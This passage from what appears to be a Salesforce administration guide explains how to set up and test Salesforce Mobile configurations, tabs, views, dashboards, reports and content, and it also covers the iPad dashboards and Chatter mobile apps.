Figure 4: Sample Mobile Configuration for Sales Engineers


Account Executive
This account executive mobile configuration is account-based, which means the device pulls down the user's accounts and
opportunities related to those accounts. The opportunities are filtered so that only open opportunities scheduled to close in
the current quarter appear on the device. The Task and Event child data sets retrieve all activities related to those opportunities,
not just the user's activities. Only open tasks and events from a two-month window are sent to the device. The Task and Event
parent data sets pull down just the user's activities and restrict the activities to open tasks and events scheduled for the next
30 days. The Contact data set delivers the user's contact records, but limits the record count to the 500 most recently active
contacts.

Figure 5: Sample Mobile Configuration for Account Executives

964

Salesforce Mobile

Testing Mobile Configurations

Customer Support Representative


Customer support representatives are focused primarily on cases and solutions. This mobile configuration delivers all open
cases to the user's device, along with related accounts, contacts, case comments, case history, tasks, and events. The Case
Solution child data set sends all solutions related to the cases, and the Solution data set lets the user search for solutions from
the Solutions tab on the device. The support representatives also have access to a subset of their activity records.

Figure 6: Sample Mobile Configuration for Customer Support Representatives

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations

Testing Mobile Configurations


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile data sets:

View Setup and Configuration

To test mobile configurations:

Manage Mobile Configurations

When you create a mobile configuration, you specify a total data size limit for the configuration. The total data size limit
prevents Salesforce from sending too much data to the mobile devices of users assigned to the mobile configuration. After
defining the data sets, it is important to test the mobile configuration to make sure the total data size limit is not exceeded.
To estimate the size of the data set that the mobile configuration will deliver to a user's device:

965

Salesforce Mobile

Testing Mobile Configurations

1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and click the name of the
mobile configuration you want to test.
2. In the Data Sets related list, click Edit.
3. In the Test Data Size section, click the lookup icon next to the Select a user field to choose the user you want to test.
While users must be mobile-enabled in order to assign them to mobile configurations, you can test the configuration's
data size against any user account.
The Select a user field defaults to the name of the user currently logged in; however, it is important to test a mobile
configuration with the accounts of users who will actually be assigned to the configuration, particularly users who own a
large number of records.
4. Select the Include metadata checkbox to include metadata in the estimate. Metadata consists of page layout and schema
information, and the amount of metadata sent to a device can be very high depending on the size of your organization and
the complexity of its setup.
Caution: It might take a while for Salesforce to calculate the metadata size in addition to the data size. Even if
you choose to hide the metadata in your test results, the metadata is still factored into the total data size when the
mobile device synchronizes with Salesforce.
5. Click Estimate Data Size.
The size of each data set is calculated. Results display in the hierarchy tree, which is the left pane of the data set region at
the top of the page. Additional results appear in the Test Data Size section below the hierarchy.

In the hierarchy tree, two numbers appear next to each data set. The first represents the number of records generated
by the data set, and the second represents the total size of the data set in bytes or kilobytes. This breakdown is useful
for identifying which data sets might require additional filtering criteria to reduce the size.
The Test Data Size section provides an estimate of the data that the current mobile configuration would deliver to the
selected user's device, including:
The size and number of records in each object's data set.
The total size and number of records, which includes records in the data set and marked records. A marked record
is a record that is not part of a user's mobile configuration. There are two ways marked records can become part of
the data set:
-

The user downloads records to his or her device through online searches, and the records are flagged so that
they get sent to the user's device every time the device synchronizes with Salesforce.
Records in the user's data set contain lookup fields to records that do not match the mobile configuration's filter
criteria. Salesforce synchronizes the records referenced in the lookup fields so that users do not encounter broken
links in the mobile application.
Tip: For an accurate count of the marked records, synchronize the data in the mobile application before
estimating the data size. To synchronize the data:
-

In the BlackBerry application, open the menu and select System Info, then open the menu and select
Refresh All Data.
In the iPhone application, tap More, then tap App Info. Tap Sync Now, then tap Refresh All Data.
In the Windows Mobile application, select Options > System Info, then select Actions > Refresh
All Data.

The size of the metadata that would be sent to the device for the user, if you selected the Include metadata checkbox.
The total mobilized data set, which is the sum of all the records.

966

Salesforce Mobile

Editing Mobile Object Properties

Reports are not included in the data size estimate.

6. Compare the test results to the total data size limit that was set for the configuration; the limit is located in the top of the
Test Data Size section. Click the size limit to increase or decrease the value on the Edit Mobile Configuration page.

If the total data size is below the limit, the selected user can safely be assigned to the mobile configuration. However,
keep in mind that the test results are an estimate because different devices have different storage algorithms.
If the total data size exceeds the limit, reduce the size of the data by reducing the scope of your data set, refining the
filter criteria of your data sets, deleting a data set, or removing fields from the mobile page layout. Repeat the testing
process until the data is below the total limit.
Note: The data size estimate in the Test Data Size section does not automatically refresh if you edit the data
sets. Click Refresh Data Size to update the test results.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Sending Emails to Mobile Users
Managing Mobile Devices

Editing Mobile Object Properties


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations:

View Setup and Configuration

To edit mobile object properties:

Manage Mobile Configurations

You can change the properties of standard and custom objects in the mobile application. For example, you can restrict the
permissions of mobile users, or you can exclude unnecessary fields from the object's mobile page layout.
Mobile object properties are customized per mobile configuration. To edit mobile object properties:
1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations.
2. Click the name of the mobile configuration you want to modify.
3. In the Mobile Object Properties related list, click Edit next to an object name.
Only objects you mobilized in the configuration's data set appear in the related list. You cannot change the properties of
the user object.
4. From the Edit Mobile Configuration page, you can:

967

Salesforce Mobile

Editing Mobile Object Properties

Remove Mobile Permissions


Customize Mobile Page Layouts

5. Click Save when finished.

Remove Mobile Permissions


The mobile client application inherits the user's permissions from Salesforce. Some administrators want to further restrict the
permissions of users when they access Salesforce data in the mobile application, usually due to limitations of the client application
or the possibility of user error. For example, users can inadvertently delete a record because they don't realize that deleting a
record in the mobile application also deletes the record in Salesforce. If this is a concern, administrators can prevent users from
deleting records in the mobile application, regardless of their standard and custom object permissions in Salesforce. Also,
Salesforce Mobile does not support all Salesforce features, such as s-controls and Apex. If your business process for an object
is unsupported by Salesforce Mobile, you might choose to prevent mobile users from updating those records in the mobile
application.
In the Permissions section, select which permissions to remove from mobile users for this object. Use the Deny Create, Deny
Edit, or Deny Delete checkboxes to prevent users from creating, editing, or deleting records in the mobile application.
Note: Currently, you can't block mobile permissions for the content object.

Customize Mobile Page Layouts


The mobile client application inherits the user's page layouts from Salesforce. Administrators may want to exclude some fields
from each object's mobile page layout because unnecessary fields consume memory and make it harder for users to scroll
through pages on the mobile device.
In the Excluded Fields section, select which fields to display on the mobile device for this object. To add or remove fields,
select a field name, and click the Add or Remove arrow.

Mobile administrators can view all available fields per object, regardless of field-level security.
Certain fields are required in order for the mobile client application to communicate with Salesforce. Those fields do not
display in the Available Fields box because they are mandatory and cannot be excluded from mobile page layouts.
Fields used in mobile custom views cannot be excluded from mobile page layouts.
If you mobilize the content object, all of the content object's fields display in the Available Fields box; however, the layout
of the content detail page in the mobile application is hard-coded to show only a few fields. Excluding fields for the content
object doesn't affect the page layout in the mobile application.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Tabs
Creating Mobile Links

968

Salesforce Mobile

Managing Mobile Views

Managing Mobile Views


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile devices and users:

View Setup and Configuration

To manage mobile custom views:

Manage Mobile Configurations

You can create mobile custom views in the Administration Setup that are available to wireless users assigned to a particular
mobile configuration. Mobile custom views are different than Salesforce custom views in the following ways:

Mobile views are set up by the administrator per mobile configuration. The views are available to all users assigned to the
configuration, and administrators cannot restrict visibility to certain groups of users within the configuration. Each mobilized
object in a mobile configuration can have up to ten custom views.
Mobile views cannot be filtered by All Records or My Records. The views apply to all records stored locally on the device,
regardless of ownership; however, ownership filters can be applied using the additional fields in the search criteria.
Mobile views don't support filter logic.
Mobile views are limited to a two-column display.
Mobile views can be sorted in ascending or descending order by up to two fields.

To manage the custom views for a mobile configuration, click Your Name > Setup > Mobile Administration > Salesforce
Mobile > Configurations, and then click the name of the mobile configuration. In the Mobile Views related list:

To see a list of all your custom views, choose All Options in the Select an object drop-down list. You can also use the
Select an object drop-down list to filter the views by object type.
To create a new mobile view, select the object type from the Select an object drop-down list, and then click New Mobile
View.
To make changes to a mobile custom view, click Edit next to a view name.
To delete a mobile custom view, click Del next to a view name.
To view details about a mobile custom view, click its name.

See Also:
Tips for Entering Filter Criteria
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Devices

969

Salesforce Mobile

Managing Mobile Views

Creating Mobile List Views


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile devices and users:

View Setup and Configuration

To manage mobile custom views:

Manage Mobile Configurations

For each mobile configuration, you can define up to ten mobile custom views per object that are pushed to the devices of users
assigned to the configuration. To create a mobile custom view:
1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of
a mobile configuration. You might need to create a mobile configuration if you haven't already.
2. Scroll down to the Mobile Views related list.
3. Choose an object type from the Select an object drop-down list, and then click New Mobile View. Only objects included
in the mobile configuration's data set appear in the drop-down list. You cannot create mobile views for the user object.
4. Enter the view name.
Because display space on mobile devices is limited, the maximum length of a mobile view name is 30 characters.
5. In the Specify Filter Criteria section, enter conditions that the selected items must match, for example, Amount is
greater than $100,000.
a. Choose a field from the first drop-down list.
Note: You cannot create views based on fields you excluded from mobile page layouts or fields that are hidden
for all profiles and permission sets.
b. Choose an operator. For descriptions of each operator, see Filter Operators on page 2962.
c. In the third field, enter the value to match.
Caution: Note the following about filter criteria values for mobile views:

You can use the $User.ID merge field as a value in your filter criteria to reference the current user. You
can't enter user names in your filter criteria.
You can only enter special date values in your filter criteria, not actual dates.
You can't use FISCAL special date values in the filter criteria.

d. Select Match All if items in the mobile view should match all the criteria you entered. Select Match Any if items in
the mobile view should match any of the criteria you entered. Mobile custom views do not support advanced filtering
options.
6. In the Select Fields to Display section, select the fields to use as display columns.
The default fields are automatically selected. You can choose up to two different columns of data fields to display in your
mobile custom view.

970

Salesforce Mobile

Managing Mobile Tabs

7. In the Define Sort Order section, optionally set a primary and secondary sort order for the view.
a. Select a field in the Order By drop-down list. You can sort by fields that have been excluded from the object's mobile
page layout.
b. Set the sort order to Ascending or Descending.
8. Click Save.

See Also:
Managing Mobile Views
Managing Mobile Configurations
Managing Mobile Devices

Managing Mobile Tabs


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations:

View Setup and Configuration

To manage mobile tabs:

Manage Mobile Configurations

For each mobile configuration, you can select the tabs that appear in the mobile application and define the order of the tabs.
The available tabs for a mobile configuration include:

Standard object tabs


Custom object tabs
Visualforce tabs that have been enabled for the mobile application
Web tabs that have been enabled for the mobile application

By default, tabs in the mobile application reflect Salesforceif an object's tab is hidden in Salesforce, it is hidden in the mobile
application as well.
Note: If you customize mobile tabs, the tabs you select for the mobile configuration are sent to users' mobile devices
even if the tabs have not been added to an application. Although the tabs are sent to the device, they only display in
the mobile application if users have permission to view the tab.
There are several reasons you might want to hide an object's tab in Salesforce Mobile even though the object records are sent
to the device. The mobile application has much less screen space to display a row of tabs, so occasionally administrators choose
to reduce the amount of tabs on the device. Also, sometimes a custom object has a relationship to a standard object, and users
access the custom object record from the parent object record. In that case, you could mobilize the custom object but hide the
tab.

971

Salesforce Mobile

Managing Mobile Tabs

To begin managing the tabs for a mobile configuration, click Your Name > Setup > Mobile Administration > Salesforce
Mobile > Configurations, and then click the name of a mobile configuration.

To view the tabs for a mobile configuration, scroll down to the Mobile Tabs related list. If you have not customized the
configuration's tabs, the related list displays a message indicating that the default tab behavior is used for the configuration.
To select the tabs and define their order for the first time, click Customize Tabs. See Customizing Mobile Tabs on page
972.
To change the tab setup for a mobile configuration, click Edit.
To delete the mobile tab setup and use the default tab behavior, click Reset to Default.
To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox.
See Creating Visualforce Tabs on page 2113 and Creating Web Tabs on page 1773.
Caution: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best
practices for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations

Customizing Mobile Tabs


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations:

View Setup and Configuration

To customize mobile tabs:

Manage Mobile Configurations

To edit the tabs for a mobile configuration:


1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of
a mobile configuration.
2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
3. Select tabs from the Available Tabs list, and click the Add arrow to add them to the mobile configuration.
The Available Tabs list includes standard object tabs and custom object tabs. It also includes web and Visualforce tabs that
have been enabled for the mobile application. To enable Visualforce or web tabs for mobile users, edit the properties of
the tabs and select the Mobile Ready checkbox. See Creating Visualforce Tabs on page 2113 and Creating Web Tabs on
page 1773.

972

Salesforce Mobile

Managing Mobile Tabs

Note: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best practices
for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.
4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear
in the mobile application.
5. Click Save.
Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their
tab order, any administrator changes to the tab order in the mobile configuration are ignored by the client application,
and any newly mobilized tabs are added below the user's existing tabs.

See Also:
Managing Mobile Tabs
Salesforce Mobile Overview
Managing Mobile Configurations

Defining Mobile Tabs


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

You can make web and Visualforce tabs available in the mobile application. When you build the web tab or Visualforce tab,
select the Mobile Ready checkbox in the wizard to verify that the web page or Visualforce page displays and functions properly
on a mobile phone. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations.
It is important to note that most mobile browsers have technical limitations concerning display size, scripts, processor speed,
and network latency. Review the following considerations before mobilizing your web and Visualforce pages to ensure that
they are compatible with mobile browsers.
Mobile Web Tab Considerations
Consider the following when defining a mobile web tab:

The ability to mobilize web tabs is only available for BlackBerry and iPhone. If you mobilize a web tab, keep in mind that
Windows Mobile users cannot view the tab in the mobile application.
The minimum BlackBerry operating system requirement for web tabs is 4.3.
The tab type must be URL. The mobile application cannot run s-controls.
Some web pages contain JavaScript and Flash, but not all mobile browsers support them:
Apple's Safari browser supports JavaScript, but not Flash.
The BlackBerry browser has limited support for JavaScript and no support for Flash.

Before mobilizing the web tab, navigate to the target URL on one of your organization's mobile devices to verify that it
works as expected in a mobile browser. In the event that your organization's device inventory includes phones with different
operating systemsfor example, both iPhones and BlackBerry smartphonesbe sure to test on each type of device. If
users cannot accomplish the necessary tasks on the web page from a mobile browser, do not mobilize the web tab.

973

Salesforce Mobile

Managing Mobile Tabs

In order for BlackBerry users to view JavaScript web pages, JavaScript must be enabled on the smartphones. The BlackBerry
administrator can globally enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a
BlackBerry smartphone by opening the BlackBerry browser, selecting Options > Browser Configuration, and then selecting
the Support JavaScript checkbox.

Visualforce Mobile Tab Considerations


Consider the following when defining a mobile Visualforce tab:

Visualforce Mobile is only available for BlackBerry and iPhone. If you mobilize a Visualforce tab, keep in mind that
Windows Mobile users cannot view the tab in the mobile application.
The mobile application can run on BlackBerry operating system versions 4.3 through 6.0. For optimum performance,
however, Salesforce recommends running Visualforce Mobile on BlackBerry smartphones installed with at least version
4.6.
Because the display size is limited on mobile browsers, we recommend redesigning the Visualforce page to optimize it for
mobile users:
Set the sidebar and showHeader attributes on the <apex:page> tag to false. Phones have small screens and
limited processing power, so it is essential that the page suppresses the tab header and sidebar.
Set the standardStylesheets attribute on the <apex:page> tag to false. The standard Salesforce stylesheet
causes pages to load slowly on the device. Additionally, most BlackBerry browsers cannot properly interpret CSS . The
best approach to adding a stylesheet to your page is to include a <style> section just below the <apex:page>
component.
Set the columns attribute on the <apex:pageBlockSection> component to 1. There is not enough room on a
mobile devices screen to display two columns, so specifying a one-column layout prevents fields from wrapping
awkwardly on the page.

Splash pages do not display in the mobile application.


In the mobile application, the Visualforce page is embedded in a tab, so you should avoid using tabs for navigation in
mobile Visualforce pages.
Even if you know that the mobile browser supports the JavaScript in your Visualforce page, keep your use of JavaScript to
a minimum. Mobile devices generally have slow network connections, and too many scripts running on a page creates a
poor user experience. To minimize the amount of JavaScript on your mobile Visualforce pages, try to build them using
mostly WML and HTML.
All Visualforce pages contain JavaScript, even if you do not create pages that use JavaScript code. In order for BlackBerry
users to view Visualforce pages, JavaScript must be enabled on the smartphones. The BlackBerry administrator can globally
enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a BlackBerry smartphone by
opening the BlackBerry browser, selecting Options > Browser Configuration, and then selecting the Support JavaScript
checkbox.
The embedded browser in the BlackBerry client application does not have built-in navigation. If your Visualforce page is
a wizard, you should provide navigation links that allow users to return to the previous page and advance to the next page.
BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how
much data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test your
Visualforce pages before deploying them to your mobile users.

974

Salesforce Mobile

Setting Up Mobile Dashboards

User agent inspection can be executed in a custom controller to support multiple devices. You can do this by inspecting
the appropriate result of the getHeaders() method on the current page reference.

See Also:
Managing Mobile Tabs
Managing Mobile Configurations
Supported Devices for Mobile
Creating Mobile Links

Setting Up Mobile Dashboards


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations:

View Setup and Configuration

To mobilize dashboards:

Manage Mobile Configurations

You can make the Dashboards tab available in Salesforce Mobile by adding it to the tabs for a mobile configuration. Mobile
dashboards allow field users to keep up with corporate metrics and key performance indicators even when they are away from
their desks.
Note the following about mobile dashboards:

The Dashboards tab in the mobile application launches an embedded browser to display the dashboards.
Due to screen size limitations, mobile dashboards display in a single column.
Links to custom report details are disabled in mobile dashboards.
The first time a user visits the Dashboards tab in Salesforce Mobile, the mobile application requests the last dashboard
the user viewed in Salesforce. Depending on the strength of the cellular or WiFi signal, it could take several minutes before
the dashboard displays on the page.
Dashboards do not automatically refresh in the mobile application. Users can request a dashboard refresh by clicking the
Refresh button.
Users are able to work offline in the mobile application. Without a wireless connection, users can see the last viewed
dashboard, but they cannot refresh the dashboard or select a different one.
The minimum BlackBerry operating system requirement for mobile dashboards is 4.5. Mobile dashboards are compatible
with version 4.3, but tables in the dashboards might not display properly.
BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how
much dashboard data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test
your dashboards before deploying them to your mobile users.

975

Salesforce Mobile

Mobile Dashboards App Overview

Note: Currently, dashboards are only available in the BlackBerry and iPhone mobile client applications.

To enable mobile dashboards:


1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of
a mobile configuration.
2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
3. Select Dashboards from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The
Available Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs.
Caution: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should
appear in the mobile application, not just the Dashboards tab.
4. In the Selected Tabs list, choose the Dashboards tab and click the Up and Down arrows to define where the Dashboards
tab should appear in the mobile application.
5. Click Save.

Mobile Dashboards App Overview


Available in: Enterprise, Unlimited, and Developer Editions

Salesforce Mobile Dashboards for the iPad, available from the Apple App Store, lets you access dashboards you recently viewed
or are following when youre on the go.
The mobile dashboards app keeps you in touch with your organizations data, performance, and trends, whether youre in the
office or on the road. Use this app to:

Browse recently viewed dashboards, or ones youre following


Search for dashboards
View individual dashboard components, highlight their values, and drill into reports for each
Modify your report view
Email a dashboard or an individual component to others
View, post, and comment on a dashboards Chatter feed
When offline, access some dashboards and reports you recently viewed in the app
Note: The app doesnt support dynamic dashboards or dashboard filters.

You can download the app for free from the Apple App Store or from the AppExchange. You can use the mobile dashboards
app on all iPad models with iOS 5 or higher. The app is available in Salesforce Enterprise, Unlimited, and Developer Editions,
and additionally in any organization that has enabled REST API.

976

Salesforce Mobile

FAQ: Mobile Dashboards for iPad Users

If you can access your Salesforce organization from your iPad, you can use the mobile dashboards app. Open the app and log
in using your Salesforce email and password. If you dont have a Salesforce account, you can still explore the app by tapping
Demo.
Note: Dashboard access for your iPad is available by default for your organization. If it isn't, an administrator must
enable it before you can log in to the app.

See Also:
FAQ: Mobile Dashboards for iPad Users

FAQ: Mobile Dashboards for iPad Users


Available in: Enterprise, Unlimited, and Developer Editions

Why cant I log in?


How do I see the latest data?
How do I find a dashboard thats not in Recent or Following?
How do I view and add posts or comments to a dashboard feed?
How do I share data with others?
How do I view details for a dashboard component?
How do I see report data for a dashboard component?
How do I change the report view?
How do I log out of the mobile dashboards app?
How do I connect to different instances?

Why cant I log in?


Check for the following if youre unable to log in:

Do you have network connectivity? The login screen may not be visible if you dont have network connectivity. Try logging
in to your Salesforce account from the Safari browser on your iPad to see if your network connection is working.
Do you have VPN set up? Your organization may require VPN to connect.
Are you logging in to the right instance? To log in to the test environment for your organization, for example, you should
select Sandbox in the Choose Connection dialog box.

977

Salesforce Mobile

FAQ: Mobile Dashboards for iPad Users

How do I see the latest data?

You can sync the app with Salesforce to get the latest versions of the dashboards that youve viewed recently and those
youre following.
To do this, go to the home view and tap

. Additionally, you can see when you last refreshed by tapping

When viewing a dashboard, you can refresh it by tapping


tap

. To see information about it, including the last refresh date,

.
Note: If you lose network connectivity when logged in, you still have offline access to some of the dashboards and
reports you recently viewed in the app.

How do I find a dashboard thats not in Recent or Following?


The app shows up to 15 recently viewed or followed dashboards. If you dont see your dashboard under Recent or Following,
search by its name. Search on the server returns up to 100 dashboards.

How do I view and add posts or comments to a dashboard feed?

To view or hide the Chatter feed for a dashboard, tap

To post to a dashboard feed, tap . After composing your post, tap Share.
To comment on an existing post, tap the post to open the comment panel, then tap
Feed.

. To return to a feed, tap Dashboard

When composing a post or comment, you can:

Mention others by tapping


Tap

or add topics by typing # followed by any word.

to select a photo from your device. When posting from a device with a camera, tap

to the post. You can also tap

to take a picture to attach

to attach a file to your post.

Note:
Your organization must enable Chatter and feed tracking for dashboards at the full Salesforce site before you can view,
post, or comment in the mobile dashboards app.

How do I share data with others?


You can email a dashboard or component by tapping
. Depending on the email client, recipients see the dashboard or
component as an embedded image or an attached .png file.

978

Salesforce Mobile

FAQ: Mobile Dashboards for iPad Users

How do I view details for a dashboard component?


Tap a component to view it.
In the component view, tap a segment of a pie, funnel, line, or bar chart to see its value.

To animate charts in this view, go to the home view, then tap

and set Chart Animations to ON.

How do I see report data for a dashboard component?


All report views are tabular and show up to 99 rows and 20 columns of data. Double-tap any component to see its report.
Gauges, metrics, or tables show the report for the whole component. On bar, pie, line, or funnel charts, you can double-tap
a segment to see the report for just that selection. To see data for other segments in the report view, tap a different segment
of the chart or tap filters in the legend, as shown in this example.

To see report details such as filters and the last modified date, tap

How do I change the report view?


To edit the report view, tap

. You have these options:

Limit the number of rows by selecting Display > Rows.


Show or hide columns by selecting Display > Columns.
Reorder columns by selecting Arrange. You can also drag-and-drop columns while viewing a report.

You can see a report without its chart by tapping

. To sort a report by a column, tap the columns header.

Note: The first column is pinned so its always visible as you scroll. To unpin this column, tap
Pin First Column to OFF.

> Arrange, then set

979

Salesforce Mobile

FAQ: Mobile Dashboards for iPad Users

How do I log out of the mobile dashboards app?


1. In the app, go to the home view.
2. Tap
.
3. Tap Log Out to end the active app session.

How do I connect to different instances?


The mobile dashboards app includes two predefined instancesProduction and Sandboxthat you can access from the login
page. By default, you connect to your production environment. To connect to a test environment instead, use the sandbox
instance.
To add another instance you can connect to:
1. Log out of the app.
2. On the apps login page, tap

3. Tap
to add a new connection.
4. Enter a login URL (1) and, optionally, a name (2) for the new instance.
You dont need to include http:// in the URL because its added automatically.

5. Tap Done.
6. Tap the new instance to connect to it.
7. Enter your username and password, then tap Login.
To delete an instance you no longer use:
1.
2.
3.
4.

On the apps login page, tap


Flick to find the instance.
Swipe your finger across it.
Tap Delete.

980

Salesforce Mobile

Enabling Mobile Dashboards for iPad Users

Enabling Mobile Dashboards for iPad Users


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view mobile dashboard settings:

View Setup and Configuration

To modify mobile dashboard settings:

Customize Application

In your organization, users can automatically access dashboards on their iPads without any prior configuration. If access has
been disabled, an administrator must enable it before users can log in to the app.
To enable dashboards for iPad users:
1. Click Your Name > Setup > Mobile Administration > Mobile Dashboards > Settings.
2. Select Enable the Mobile Dashboards iPad app for all users.
3. Click Save.
To view dashboards from your iPad, download the Salesforce Mobile Dashboards app from the Apple App Store or
AppExchange.
Aside from editions noted, the app is available to organizations enabled with REST API.

See Also:
Customizing Report and Dashboard Settings
Customizing Report and Dashboard Email Settings
Customizing Report and Dashboard User Interface Settings

Setting Up Mobile Reports


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To create, edit, and delete public report folders:

Manage Public Reports

To enable reports for the mobile application, create a Mobile Reports folder in Salesforce, add reports to the folder, then add
the Reports tab to your mobile configurations. To enable reports:
1. From the reports home page in Salesforce, click Create New Folder.
2. In the Report Folder field, enter: Mobile Reports.

981

Salesforce Mobile

Setting Up Mobile Reports

The server does not load reports on the mobile device unless the folder is named Mobile Reports. Be sure to check for
any typos in the name before saving the folder. Additionally, Salesforce does not require folder names to be unique. Mobile
users can see any report stored in folders named Mobile Reports unless you restrict access with the folder visibility option.
3. Choose a Public Folder Access option. This option does not affect the ability of mobile users to run reports.
4. Optionally, select any unfiled reports and click Add to store them in the Mobile Reports folder. You can also add reports
to the folder after saving the folder.
5. Choose a folder visibility option.

This folder is accessible by all users gives every user in your organization the ability to see the list of

mobile reports from their devices.

This folder is accessible only by the following users lets you grant access to a desired set of users.

Do not make the folder private unless you want to hide mobile reports from all users, including yourself.
6. Click Save.
7. To add a report to the Mobile Reports folder, click the report name on the reports home page, and then click Save As.
Save the report in the Mobile Reports folder.
After saving the report, you can edit the options to make the report easier to view on a mobile device. For example, you
might reduce the number of columns or enter additional filtering criteria.
8. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of
a mobile configuration.
9. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
10. Select Reports from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The Available
Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs.
Caution: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should
appear in the mobile application, not just the Reports tab.
11. In the Selected Tabs list, choose the Reports tab and click the Up and Down arrows to define where the Reports tab should
appear in the mobile application.
12. Click Save.
Note: Reports are not currently available in Salesforce Mobile for iPhone.

982

Salesforce Mobile

Setting Up Mobile Content

Setting Up Mobile Content


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations:

View Setup and Configuration

To create, change, or delete mobile data sets:

Manage Mobile Configurations

You can set up the mobile application so that your users are able to share content with customers and colleagues directly from
their mobile devices. When you mobilize the content object in your organization's mobile configurations, the Content tab
appears in the mobile application.
Note the following about how Salesforce CRM Content is implemented in the mobile application:

Content record information is synchronized to the device; however, the files associated with the content records are not.
This allows users to deliver content from the mobile application even when a file is too large to be downloaded to a mobile
device.
Users can't search for a specific piece of content in the mobile application. They can only share the content available on
the Content tab, which is automatically synchronized to their device based on the filters in their assigned mobile
configuration.
Users can't view a list of their subscribed content in the mobile application. They also can't filter the list of records on the
Content tab based on a particular library.
While users can preview and share content from the mobile application, they can't update the file associated with a content
record. If they have the required permissions, they can edit the fields on the content detail page.
Users must be in wireless coverage to preview and deliver content. Without a wireless connection, they can only view the
content detail page.
Content is only supported by the BlackBerry and iPhone mobile client applications.
Content is not available in Mobile Lite, which is the free version of the mobile application.
You can't block mobile permissions for the content object. Currently, the content object in the mobile application is
read-only.
You can't edit the mobile page layout for the content object. The content detail page in the mobile application is hard-coded
to display only a few fields.

To set up Content for the mobile application:


1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of
a mobile configuration.
2. In the Data Sets related list, click Edit.
3. Click Add....
4. In the popup window, select Content, then click OK.
5. Use field filters to specify which content records are synchronized.

983

Salesforce Mobile

Chatter Mobile App Overview

Because users can't search for content in the mobile application, it's essential to set up filters that make important content
available on the device. You can't create filters based on libraries or subscriptions, but here are a few options for setting up
useful filter conditions:

Date: Filter on the Last Modified Date, Content Modified Date, or Created Date fields. Use special date
values like LAST 90 DAYS or LAST 180 DAYS to ensure that recently updated content records are synchronized.
Owner: Filter on the author if certain people in your organization are responsible for publishing content.
File Type: Filter on certain types of documents. For example, your sales team might generally be interested in
presentations or PDF documents.
Custom Fields: If you created custom content fields that help you categorize your content, filter on the custom fields.
For example, if you built a Functional Use field with picklist values, you could set up a filter condition where
Functional Use equals Sales.

6. Optionally prevent content records from consuming all the memory on a mobile device by selecting the second radio button
under Set Max Record Limit and entering the maximum number of content records this configuration can transfer to
mobile devices. Use the Order By and Sort drop-down lists to specify which records are synchronized if the data size limit
is exceeded.
7. Click Done when you're finished.
8. Optionally modify other mobile configurations and mobilize the content object.

Chatter Mobile App Overview


Available in: All Editions except Database.com

The Chatter mobile app lets you collaborate in Chatter from your mobile device as follows:

Receive updates about the people and records you follow and your groups.
View and create posts and comments.
Post photos from your device.
Find and follow people in your organization.
Find and join groups in your organization.
View your coworkers' profiles to see their contact information, bio, who they're following, and who's following them.
Email, call, or text people directly from their Chatter profiles on devices with telephony.

The Chatter mobile app is free and available for:

Android phones and tablets with OS 2.1 or higher


Apple iPads with iOS 5.0 or higher
Apple iPhones and iPod Touches with iOS 4.0 or higher
BlackBerry devices with OS 5 or higher

Download the Chatter mobile app from either www.salesforce.com/mobile/apps/download/ or the online location
where you typically download apps for your phone, such as Apple App Store, Android Market, or BlackBerry App World.
